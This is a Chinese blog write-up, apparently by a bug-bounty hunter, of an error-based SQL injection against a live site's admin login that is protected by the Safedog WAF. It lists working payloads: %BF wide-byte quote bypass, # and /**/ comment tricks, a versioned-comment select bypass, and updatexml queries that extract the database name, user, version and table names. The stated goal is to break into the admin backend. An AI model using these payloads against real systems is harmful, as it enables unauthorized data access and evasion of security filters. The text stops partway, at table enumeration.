过安全狗 记一次艰难的SQL注入

前言
最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了 。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台 。

过安全狗 记一次艰难的SQL注入

文章插图
 
2.1 注入测试
 
bp抓包,加单引号,没有什么用
过安全狗 记一次艰难的SQL注入

文章插图
 
很显然,这里开启了php的魔术函数,把单引号自动转义了
 
2.1.1 绕过第一式:汉字双字节编码绕过单引号
 
当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过
 
例如构造Payload为:
 
username=%BF' 
%BF解码之后是中文乱码
 
此时发送数据包
过安全狗 记一次艰难的SQL注入

文章插图
 

过安全狗 记一次艰难的SQL注入

文章插图
 
可以看到SQL语句变成:
 
SELECT * FROM `sl_admin` WHERE `username`='¿'' 
成功过滤单引号
 
程序报错,考虑使用爆错注入
 
3.1 获取数据库
既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容
 
第一步是注出数据库,版本,用户等基本信息
 
先把Payload放出来,再进行讲解
 
Payload:
 
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)# 
过安全狗 记一次艰难的SQL注入

文章插图
 
数据库名不能放出来,在本文中用test_db代替
 
用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来
 
数据库:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#用户:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#版本:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)# 
3.1.1 绕过第二式:注释
再第一个绕过那里,可以看到SQL语句后面还多了个单引号 。这个单引号要么把它闭合,要么就注释掉 。由于这里开启了魔术函数,所以选择注释 。
 
我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了 。
 
注释成功,很简单,没什么好说的
过安全狗 记一次艰难的SQL注入

文章插图
 
3.1.2 绕过第三式:内联注释绕过空格
安全狗把空格干掉了
 
空格或者加号都会被干掉
过安全狗 记一次艰难的SQL注入

文章插图
 
当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过
 
username=%BF/**/and/**/1'
过安全狗 记一次艰难的SQL注入

文章插图
 
4.1 获取表名
【过安全狗 记一次艰难的SQL注入】再得到数据库后要获取表名
 
先把Payload放出来
 
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
过安全狗 记一次艰难的SQL注入

文章插图
 
管理员表用admin代替,其他表用test_table代替
 
4.1.1 绕过第四式:select过安全狗
注表名需要用select语句,因此我最开始写的Payload是这样的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)# 
很快啊,被安全狗拦了
过安全狗 记一次艰难的SQL注入

文章插图
 
这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章
 
https://www.cnblogs.com/w-i-n-d/p/8649590.html
 
在该文中,用 /*!50000%53elect*/ 代替select实现绕过


推荐阅读